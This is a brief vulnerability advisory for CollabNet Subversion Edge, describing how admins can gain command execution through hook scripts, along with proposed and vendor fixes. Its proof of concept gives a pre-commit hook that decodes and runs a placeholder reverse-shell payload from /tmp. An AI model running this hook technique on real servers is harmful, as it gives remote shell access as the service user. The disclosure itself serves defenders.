Summary:

The CollabNet Subversion Edge Management Frontend allows authenticated
administrators to escalate their privileges by creating and executing hook
scripts. As a result they are able to execute arbitrary commands as the user the
Management Frontend is running under without authenticating with valid
credentials.

POC:

1. Add a pre commit hook with the following content:
#!/bin/sh
echo "$base64_encoded_reverseshell" | /usr/bin/base64 -d > /tmp/evil
/bin/chmod +x /tmp/evil
/tmp/evil
exit 0

2. Edit a file of a SVN repository
3. Do: svn commit
4. Get a reverse shell running as the service user of Subversion Edge

Fix proposal:

Provide a configuration option inaccessible from the Web Gui that disables this
feature.

Addtionally implement an authentication prompt that requires the administrator
to authenticate as the user running (which is typically a service user)
the management frontend web app for performing actions on hook scripts.

Vendor fix:

The hook script editor is now disabled by default. It is enabled via the
security.properties file
